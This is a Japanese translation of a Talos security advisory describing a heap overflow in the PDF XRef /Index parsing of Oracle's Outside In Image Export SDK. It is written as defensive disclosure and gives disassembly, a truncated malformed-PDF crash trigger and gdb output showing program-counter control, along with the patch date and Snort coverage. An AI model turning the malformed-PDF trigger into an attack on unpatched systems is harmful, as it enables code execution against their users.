Cisco Japan Blog

Oracle OIT Image Export SDK libvs_pdf XRef Index にコード実行の脆弱性

1 min read



この記事は、Aleksandar NikolicJaeson Schultz が執筆しました。

Talos は最近、Oracle Outside In Technologypopup_icon の Image Export SDK に脆弱性があることを発見しました。これが悪用されると、攻撃者がヒープをオーバーフローさせて、任意のコードを実行できる可能性があります。この脆弱性は、Image Export SDK の PDF(Portable Document Format)ファイルの解析処理の部分に存在します。

Xref オブジェクトを含んだ PDF ファイルが解析される際、/Index エントリの値が、デコードされたストリームの処理に使われます。/Index エントリで指定された多数のオブジェクトを含む不正な PDF ファイルにより、割り当てられたバッファの終わりを超えてメモリが上書きされ、隣接するヒープ チャンクが上書きされる可能性があります。

脆弱性は、libvs_pdf.so の sub_B74EB0EE 関数に存在します(イメージ ベースがあるのは、0xB74BF000)。ヒープ構造が、次のコードを始まりとして、16 バイトずつ増分して繰り返されています。


.text:B74EC5D6                 mov     eax, [esp+0AFCh+var_A58]
.text:B74EC5DD                 shl     eax, 4
.text:B74EC5E0                 lea     eax, [edx+eax]
.text:B74EC5E3                 lea     edi, [eax+10h]                         [1]
.text:B74EC5E6                 mov     [esp+0AFCh+var_A38], 0
.text:B74EC5F1
.text:B74EC5F1 loc_B74EC5F1:                           
.text:B74EC5F1                 cmp     word ptr [edi-2], 0
.text:B74EC5F6                 jnz     loc_B74EC856
.text:B74EC5FC                 cmp     [esp+0AFCh+var_A61], 0
.text:B74EC604                 jnz     loc_B74EC7FA
.text:B74EC60A                 mov     word ptr [edi-4], 1                    [2]
.text:B74EC610
.text:B74EC610 loc_B74EC610:                           
.text:B74EC610                 mov     edx, [esp+0AFCh+var_A40]
.text:B74EC617                 mov     eax, esi
.text:B74EC619                 call    sub_B74C40A6
.text:B74EC61E                 mov     [edi-0Ch], eax                         [3]
.text:B74EC621                 add     esi, [esp+0AFCh+var_AD4]
.text:B74EC625                 cmp     [esp+0AFCh+var_A63], 0
.text:B74EC62D                 jnz     loc_B74EC7E5
.text:B74EC633                 mov     dword ptr [edi-8], 0                   [4]
...
.text:B74EC640                 add     [esp+0AFCh+var_A38], 1
.text:B74EC648                 add     edi, 10h                               [5]
.text:B74EC64B                 mov     eax, [esp+0AFCh+var_A50]
.text:B74EC652                 sub     eax, [esp+0AFCh+var_A58]
.text:B74EC659                 cmp     [esp+0AFCh+var_A38], eax
.text:B74EC660                 jnz     short loc_B74EC5F1                     [6]

 

抜粋したコードでは、繰り返し構造への最初のポインタが、[1] で「eax」から「edi」へ移るところから始まっています。[2]、[3]、[4] では、分岐した先によって、それぞれ異なる値が、「edi」とオフセットで示されたメモリ アドレスに書き込まれます。[5] で、「edi」が増分され、[6] で、ループの開始地点に戻ります。ループが実行される回数は、/Index エントリで指定されたオブジェクトの数に結び付けられています。

以下は、クラッシュ テスト ケースの短縮バージョンです。


%PDF-1.6
%
1 0 obj <<
        /Filter/FlateDecode
        /Index[40 20]
        /Length 55
        /Size 6
        /Type/XRef
        /W[0 1 0]>>
        stream
        ...
        endstream
        endobj
startxref
116
%%EOF

 

このサンプルの PDF ファイルでは、/Size に 6 が指定されています。しかし、/Index の記述では、オブジェクト ストリームに、オブジェクト ナンバー 40 から始まる 20 のオブジェクトへの参照が含まれています。

提供されたこの最小限のテストケースで、脆弱性が引き起こされ、それに起因して、ヒープの破損と関数ポインタの上書きが生じます。この関数ポインタが、後に逆参照され、その結果、プログラム カウンタが直接制御されます。この脆弱性は、SDK で提供されるプログラム「ixsample」で引き起こされる可能性があります。


Starting program: /home/ea/oit_pdf/sdk/demo/ixsample trigger asd
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41454145 ('EAEA')
EBX: 0xb7af5b54 --> 0x36b98c 
ECX: 0x1 
EDX: 0x804eaf0 --> 0x0 
ESI: 0xbfffd298 --> 0xa ('\n')
EDI: 0x80b6b68 (0x080b6b68)
EBP: 0xb74eec64 ("Prev")
ESP: 0xbfffd23c --> 0xb78673ce (mov    edx,DWORD PTR [edi+0x10])
EIP: 0x41454145 ('EAEA')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41454145
[------------------------------------stack-------------------------------------]
0000| 0xbfffd23c --> 0xb78673ce (mov    edx,DWORD PTR [edi+0x10])
0004| 0xbfffd240 --> 0xb74eec64 ("Prev")
0008| 0xbfffd244 --> 0x0 
0012| 0xbfffd248 --> 0xbfffd274 --> 0x0 
0016| 0xbfffd24c --> 0xb74f6998 --> 0x3787c 
0020| 0xbfffd250 --> 0xbfffd298 --> 0xa ('\n')
0024| 0xbfffd254 --> 0xbfffdd90 --> 0x0 
0028| 0xbfffd258 --> 0xb74eec64 ("Prev")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41454145 in ??()
gdb$

 

2016 年 4 月 19 日に、Oracle はこの脆弱性に対処する Image Export SDK のパッチ適用済みバージョンをリリースしました。Talos は、Snort ルール 37505 および 37506 を通じて、TALOS-CAN-0086 を標的とするエクスプロイトに対するカバレッジを提供しています。

本稿は 2016年4月20日に Talos Grouppopup_icon のブログに投稿された「ORACLE OIT IMAGE EXPORT SDK LIBVS_PDF XREF INDEX CODE EXECUTION VULNERABILITYpopup_icon」の抄訳です。

コメントを書く